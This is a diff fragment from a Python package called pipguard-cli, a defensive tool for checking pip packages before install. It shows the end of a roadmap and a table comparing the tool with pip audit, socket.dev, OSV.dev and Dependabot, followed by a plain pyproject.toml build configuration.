+**Week 1 — Core**
+- [ ] CLI skeleton (Typer), PyPI fetch, OSV.dev check, scoring, SQLite cache
+
+**Week 2 — Code Analysis**
+- [ ] Tarball download (httpx, version-specific), AST parser, red flag detection, classifier-gated scoring, GitHub README for ambiguous cases
+
+**Week 3 — Polish**
+- [ ] Rich output, requirements.txt scan, pip plugin integration, `--ci`/`--fail-on`/`--no-cache`/`--force`, configurable weights + preset warning, README + demo GIF
+
+---
+
+## vs. Existing Tools
+
+| Tool | Gap |
+|------|-----|
+| `pip audit` | Only known CVEs — misses new malicious packages |
+| socket.dev | Not a CLI intercept, separate workflow |
+| OSV.dev | Database only, no workflow integration |
+| Dependabot | Reacts after install, not before |
+| **pipguard** | Intercepts at install, combines trust signals + AST analysis |

pipguard_cli-0.1.0/pyproject.toml

@@ -0,0 +1,20 @@
+[build-system]
+requires = ["hatchling"]
+build-backend = "hatchling.build"
+
+[project]
+name = "pipguard-cli"
+version = "0.1.0"
+description = "Supply chain attack prevention for pip installs"
+requires-python = ">=3.10"
+dependencies = [
+    "typer>=0.9.0",
+    "httpx>=0.27.0",
+    "rich>=13.0.0",
+]
+
+[project.scripts]
+pipguard = "pipguard.main:app"
+
+[tool.hatch.build.targets.wheel]
+packages = ["pipguard"]